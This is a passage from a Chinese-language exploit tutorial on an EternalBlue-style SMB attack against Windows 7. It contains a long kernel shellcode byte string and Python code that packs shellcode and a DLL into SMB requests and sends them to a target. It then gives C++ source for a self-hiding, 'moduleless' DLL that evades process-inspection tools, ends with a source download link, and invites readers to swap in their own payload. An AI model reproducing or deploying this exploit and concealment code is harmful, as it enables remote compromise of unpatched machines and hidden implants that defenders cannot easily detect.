48x83xECx20xFFx56x30x48x83xC4x20x5Ax48x85xC0x74x08x48xFFxC2xE9x19xFFxFFxFFx48x31xC0x48xF7xD0xEBx03x48x31xC0x59x5Bx5Ax5FxC3x52x57x48xBAx00x00x00x00x00x00x00x00xEBx0Cx52x57x48xBAx01x00x00x00x00x00x00x00x48x8Bx45x20x4Cx8Bx55x08x49x83xC2x28x48x31xFFx41x8Bx3Ax48x01xF8x49xB8x00x00x00x00x00x00x00x00x48x8Bx4Dx20x48x83xECx20xFFxD0x48x83xC4x20x48x31xC0x5Fx5AxC3x48x39xECx0Fx8DxAAx00x00x00x57x56x53x48x89xE6x48x83xC6x0Cx55x6Ax00x48x89xE3x51x52x48x89xE9x48x29xF1x48x83xF9x08x0Fx8Cx81x00x00x00x50x52x53x48xB8x0Fx00x00x00x00x00x00x00x48x6BxC0x08x48x39xC8x7Dx03x48x89xC1x48xBAx00x00x00x00x00x00x00x00x48x89xC8x48xBBx08x00x00x00x00x00x00x00x48xF7xFBx48xFFxC8x6Ax00x48x83xF8x00x75xF5x48x01xCCx5Bx5Ax58x48x89xE5x48x89xE7x48x29xCFx48x89xFCxF3xA4x48x89x23x48x8Bx4BxF8x48x8Bx53xF0x48xC7x43xF8x00x00x00x00x48xC7x43xF0x00x00x00x00x48xC7x04x24xFFxFFxFFxFFx48xBExEExEExEExEExEExEExEExEExFFxE0x59x59x5Dx5Dx5Bx5Ex5FxFFxE0x48x89xE1x48x2Bx4Dx08x48x83xE9x04x48x89xECx48x83xC4x0Cx5Dx5Bx5Ex5Fx5Ax48x01xCCxFFxE2x00x00x00x00x57x52x53x51x48xB8x08x00x00x00x00x00x00x00x48xBAx0Cx00x00x00x00x00x00x00x48xF7xE2x48x8Bx55x18x48x01xC2x48x83xC2x04x48x31xDBx8Bx1Ax48xC1xEBx02x48xB8x0Fx00x00x00x00x00x00x00x48xF7xE3x48x89x45x68x49xB9x40x00x00x00x00x00x00x00x49xB8x00x30x00x00x00x00x00x00x48x89xC2x48x31xC9x48x83xECx20xFFx56x08x48x83xC4x20x48x85xC0x74x7Cx48x89x45x60x48x8Bx46x58x48x8BxBDxAEx00x00x00x48x83xC7x03x48x89x07x48x8Bx46x68x48xA9x00x00x00x00x74x2Ex48x8Bx85xBEx00x00x00x48x8Bx9DxC6x00x00x00x48x89x03x48x8Bx5Ex60x48x8BxBDxC6x00x00x00x48x29xDFx48x8Bx9DxB6x00x00x00x48xFFxC3x48x89x3BxEBx14x48x8Bx85xBEx00x00x00x48x8BxBDxB6x00x00x00x48xFFxC7x48x89x07x48x8Bx46x68x48xA9x01x00x00x00x74x14x48x8BxBDxB6x00x00x00xC6x07xBFxEBx08x48x31xC0x48xF7xD0xEBx03x48x31xC0x59x5Bx5Ax5FxC3x57x52x53x51x56x50x48x8Bx7Dx60x48x8Bx45x70x48x01xC7x48x89xEEx48x81xC6x80x00x00x00x48xB9x0Fx00x00x00x00x00x00x00xF3xA4x48x8Bx7Dx60x48x8Bx45x70x48x01xC7x48x83xC7x00x48xFFxC7x48x8Bx55x40x48x8Bx1Ax48x89x1Fx48x8BxB5xCEx00x00x00x48x8Bx7Dx60x48x8Bx45x70x48x01xC7x48x83xC7x0Ax48xFFxC7x48x83xC7x08x48x29xFEx48x8Bx7Dx60x48x8Bx45x70x48x01xC7x48x83xC7x0Ax48xFFxC7x48x89x37x48x8Bx7Dx60x48x8Bx45x70x48x01xC7x48x8Bx75x40x48x89x3Ex48x8Bx45x70x48x83xC0x0Fx48x89x45x70x58x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56xEBx4Dx48x8Bx7Dx00x48x89xDAx48x83xC2x0Cx48x03x3Ax48x89xE9x48x81xC1x8Fx00x00x00x48x89xFAx48x83xECx20xFFx56x28x48x83xC4x20x48x85xC0x74x22x48x89xE9x48x81xC1x9Ax00x00x00x48x89xFAx48x83xECx20xFFx56x28x48x83xC4x20x48x85xC0x74x05x48x31xC0xEBx0Cx48xB8x01x00x00x00x00x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3x57x52x53x51x56x48x8Bx7Dx48x48x89xFAx48x83xC2x00x66x8Bx1Ax66x81xFBx4Dx5Ax0Fx85x9Bx00x00x00x48x89xFAx48x83xC2x3Cx48x31xDBx8Bx1Ax48x01xDFx48x89xFAx48x83xC2x00x48x31xDBx8Bx1Ax48x81xFBx50x45x00x00x75x77x48x89xFEx48x83xC6x14x48x31xDBx66x8Bx1Ex48x89xFEx48x83xC6x18x48x01xDEx48x89xFBx48x83xC3x06x48x31xC9x66x8Bx0Bx48x31xD2x48x89xF3x48x83xC3x0Cx48x8Bx7Dx48x4Dx31xD2x44x8Bx13x4Cx01xD7x48x39xF8x7Cx2Bx48x89xF3x48x83xC3x08x4Dx31xD2x44x8Bx13x4Cx01xD7x48x39xF8x7Dx16x49x89xF2x49x83xC2x24x48x31xDBx41x8Bx1Ax48xF7xC3x00x00x00x20x75x11x48x83xC6x28x48xFFxC2x48x39xCAx7CxB0x48x31xC0xEBx0Cx48xB8x01x00x00x00x00x00x00x00xEBx00x5Ex59x5Bx5Ax5FxC3xEBx4Dx90x90x90x90x90x90x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x1Ex00x00x00x21x0Dx00x00x4Ex0Dx00x00x00x09x00x00x00x5Ex0Dx00x00x00x00x00x00x00x00x00x00xE8x00x00x00x00x58x48x8Bx60xC6x48x8Bx68xCEx48x8Bx70xD6x48x8Dx0DxCAxFFxFFxFFx48x83xECx20xFFx56x40x48x83xC4x20xE9x11x01x00x00x4Cx89xC6xE9x09x01x00x00x54x55x51x52x53x56x57x48x31xDBx65x48x8Bx5Bx30x48x8Bx5Bx60x48x8Bx5Bx18x48x8Bx5Bx10x48x8Bx73x60x48x85xF6x0Fx84xA6x00x00x00x48x8Bx6Bx30x48x85xEDx0Fx84x99x00x00x00x48x31xD2xC1xC2x05x66xADx0Cx20x30xC2x66x83x3Ex00x75xF1x48x8Bx1Bx48x3Bx54x24x20x75xCAx48x89xEFx66x81x3Fx4Dx5Ax75x73x8Bx7Dx3Cx48x01xEFx81x3Fx50x45x00x00x75x65x48x89xF9x48x83xC1x18x48x85xC9x74x59x48x31xD2x8BxBFx88x00x00x00x48x01xEFx8Bx57x1Cx48x01xEAx8Bx5Fx20x48x01xEBx8Bx7Fx24x48x01xEFx49x89xD1x8Bx33x48x01xEEx48x31xD2xC1xC2x05xACx0Cx20x30xC2x80x3Ex00x75xF3x48x3Bx54x24x18x74x0Cx48x83xC7x02x48x83xC3x04xE2xDAxEBx10x48x0FxB7x17x48xC1xE2x02x4Cx01xCAx8Bx02x48x01xE8x5Fx5Ex5Bx5Ax59x5Dx5CxC3x06xDFxB0x2Cx51x33x8Ax8DxA4x00x78x95x27x85x00x3Bx00xA1xB4x00xDBxB6xB6xE5x00xC4x22x07xE2x00x82x5Ax15x4Ax00x02x55xF0xD6xDEx79x03xAAx86x00x0DxC4x8AxDCx00x00x48x8Bx26x50x48x31xC0x48x8Dx0Dx33x00x00x00x48x8Dx1Dx2Cx00x00x00x48x29xD9x48x89xDFxF3xAAx48x8Dx0Dx0Dx00x00x00x48x8Dx1Dx96xF0xFFxFFx48x29xD9x48x89xDFxF3xAAx58x41x5Fx41x5Ex41x5Dx41x5Cx5Ex5Fx5Dx5BxC3xEBx08x00x14x00x00x01x00x00x00"

f = open(dllfile,"rb")

dll_hex = f.read()

f.close()

#dll_hex += "x00"*3

array , ncount = make_smb_request(kernel_shellcode + dll_hex,key)

for i in range(ncount):

#print binascii.b2a_hex(array[i])

print i+4,",len:",len(array[i])

s.sendall(array[i])

data = s.recv(1024)

print i+4,"--->",data

#end1

step_7_data ="x00x00x00x23xFFx53x4Dx42x71x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x00x00x00"

s.sendall(step_7_data)

data = s.recv(1024)

print 7,data

#end2

step_8_data ="x00x00x00x27xFFx53x4Dx42x74x00x00x00x00x18x07xC0x00x00x00x00x00x00x00x00x00x00x00x00x00x08xFFxFEx00x08x42x00x02xFFx00x27x00x00x00"

s.sendall(step_8_data)

data = s.recv(1024)

print 8,data

print "------Inject dll done!------"

s.close()

0x5: 永恒之蓝 + 自隐藏模块注入

我们写的win7下的exploit功能就算基本完成了,但是如果要想完成一次成熟的攻击, 不可能注入了进程之后进程又崩掉了,dll注入是和权限有直接关系的，Doubleplusar执行后是nt权限,可以采用无模块注入来注入到受害者的机器测试后发现同时也解决进程崩掉的问题这里顺便提一下无模块注入中的一些知识。关于dll注入和 x86 x64 进程互写互读的知识有兴趣可以去看看. 这里介绍一种关于模块自隐藏的知识

:DllMain第一次执行时，申请一块内存把DLL文件进行模拟加载，然后再调用模拟加载PE的DllMain，第二次的DllMain就在非模块的内存中执行了。DLL自卸载说起来也不难，是用MOMODALMARK标记DllMain的返回值类似于MemoryLoadLibrary 的功能

上代码:

// dllmain.cpp : 定义 DLL 应用程序的入口点。

#include "stdafx.h"

#include "MemoryLoad.h"

//创建一个进程互斥量防止无模块DLL多次注入

BOOL IsMutexExist(char* pstrMutex)

{

BOOL bRet = FALSE;

HANDLE hMutex = NULL;

hMutex = CreateMutexA(NULL, TRUE, pstrMutex);

if (hMutex)

{

if (GetLastError() == ERROR_ALREADY_EXISTS)

bRet = TRUE;

ReleaseMutex(hMutex);

CloseHandle(hMutex);

}

else

{

bRet = TRUE;

}

return bRet;

}

//调用LoadPE.cpp里的函数，自行处理PE加载，把DLL在新申请的内存加载起来，并执行入口函数

void LaunchNoModule()

{

LaunchDll((char*)dllModuleName, NO_MODULE_MARK);

}

unsigned int __stdcall NoModuleThread(void* lpParameter)

{

while (TRUE)

{

Sleep(1000);

OutputDebugString(L"Test by IronMan.");

}

return TRUE;

}

//调用LoadPE.cpp里的函数，自行处理PE加载，把DLL在新申请的内存加载起来，并执行入口函数

void NoModuleEntryCall(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)

{

TCHAR szMutexName[MAX_PATH];

wsprintf(szMutexName, L"Test 15pb bingo! %d", GetCurrentProcessId());

g_hMutex = CreateMutex(NULL, TRUE, szMutexName);

TCHAR szLog[MAX_PATH] = { 0 };

wsprintf(szLog, L"NoModuleEntryCall Module Start:%p", hModule);

OutputDebugString(szLog);

//下面为正常Dll功能代码

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)NoModuleThread, NULL, NULL, NULL);

}

BOOL ChooseSub(HMODULE hModule, DWORD ul_reason_for_call, char* pstrModuleName)

{

BOOL bRet = FALSE;

GetModuleFileNameA(NULL, exeModuleName, MAX_PATH);

if (ul_reason_for_call == NO_MODULE_MARK)

// strcpy((char*)dllModuleName,pstrModuleName);

int a = 1;

else

GetModuleFileName(hModule, dllModuleName, MAX_PATH);

if (ul_reason_for_call == NO_MODULE_MARK)

{

NoModuleEntryCall(hModule, DLL_PROCESS_ATTACH, 0);

bRet = TRUE;

}

else

{

LaunchNoModule();

bRet = FALSE;

}

return bRet;

}

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

BOOL bRet = FALSE;

if (ul_reason_for_call == DLL_PROCESS_ATTACH || ul_reason_for_call == NO_MODULE_MARK)

{

TCHAR szMutexName[MAX_PATH];

wsprintf(szMutexName, L"yanshier2013nomoduleinject%d", GetCurrentProcessId());

if (IsMutexExist((char*)szMutexName))

return FALSE;

bRet = ChooseSub(hModule, ul_reason_for_call, (char *)lpReserved);

}

else

{

if (ul_reason_for_call == DLL_PROCESS_DETACH)

{

ReleaseMutex(g_hMutex);

CloseHandle(g_hMutex);

bRet = TRUE;

}

return bRet;

}

我注入了NTFSinfo这个程序.用PChunter是看不到自己注入的模块的

每隔一秒用 OutputString打印出一句 Test by IronMan. 需要的话直接在NoModuleThread替换功能就可以了。

自卸载dll源码编译 vs2010 vs2013

源码打包地址: http://pan.baidu.com/s/1miObL00